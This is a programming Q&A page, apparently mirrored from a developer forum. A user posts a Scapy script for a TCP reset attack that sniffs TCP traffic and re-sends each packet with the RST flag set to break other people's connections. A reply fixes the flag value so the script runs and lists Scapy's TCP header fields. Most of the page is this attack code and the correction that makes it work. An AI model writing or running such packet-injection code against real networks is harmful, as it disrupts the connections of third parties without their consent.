Scapy TCP RST atack
I tried to write TCP RST atack with Scapy,but my code doesn't work.Please,help me to solve my problem.
from scapy.all import *
def poison(packet):
packet[TCP].flags='RST'
sendp(packet)
sniff(filter='tcp',prn=poison)
There's something wrong with flags
,I think.There's an error:
Traceback (most recent call last):
File "Univer.py", line 6, in sniff(filter='tcp',prn=poison)
File "/usr/lib/pymodules/python2.6/scapy/sendrecv.py", line 559, in sniff r = prn(p)
File "Univer.py", line 3, in poison packet[TCP].flags='RST'
File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 186, in setattr self.setfieldval(attr,val)
File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 175, in setfieldval self.fields[attr] = any2i(self, val)
File "/usr/lib/pymodules/python2.6/scapy/fields.py", line 785, in any2i y |= 1 << self.names.index(i)
ValueError: substring not found
The correct way to set the TCP flags in Scapy is to use the short (one letter) form packet[TCP].flags = 'R'
. With the current development version of Scapy, you can get the accepted flags using ls()
:
>>> ls(TCP, verbose=True)
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField (4 bits) = (None)
reserved : BitField (3 bits) = (0)
flags : FlagsField (9 bits) = (2)
F, S, R, P, A, U, E, C, N
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({})
链接地址: http://www.djcxy.com/p/67246.html
下一篇: Scapy TCP RST atack